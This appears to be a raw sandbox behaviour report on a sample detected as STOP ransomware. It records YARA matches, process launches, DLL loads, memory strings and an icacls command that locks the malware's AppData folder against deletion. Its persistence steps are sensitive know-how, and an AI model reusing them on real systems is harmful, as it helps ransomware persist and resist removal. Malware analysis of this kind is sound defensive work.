Source: Process Memory Space: n8XBpFdVFU.exe PID: 6604, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n8XBpFdVFU.exe PID: 1228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n8XBpFdVFU.exe PID: 6652, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n8XBpFdVFU.exe PID: 772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n8XBpFdVFU.exe PID: 7752, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@23/1409@8/5

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_045E27C6 CreateToolhelp32Snapshot,Module32First,

0_2_045E27C6

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

File created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771

Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Command line argument: F:\	1_2_00419F90

Source: n8XBpFdVFU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: n8XBpFdVFU.exe

ReversingLabs: Detection: 50%

Source: n8XBpFdVFU.exe	String found in binary or memory: set-addPolicy
Source: n8XBpFdVFU.exe	String found in binary or memory: id-cmc-addExtensions
Source: n8XBpFdVFU.exe	String found in binary or memory: set-addPolicy
Source: n8XBpFdVFU.exe	String found in binary or memory: id-cmc-addExtensions
Source: n8XBpFdVFU.exe	String found in binary or memory: set-addPolicy
Source: n8XBpFdVFU.exe	String found in binary or memory: id-cmc-addExtensions
Source: n8XBpFdVFU.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

File read: C:\Users\user\Desktop\n8XBpFdVFU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe"
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe"
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
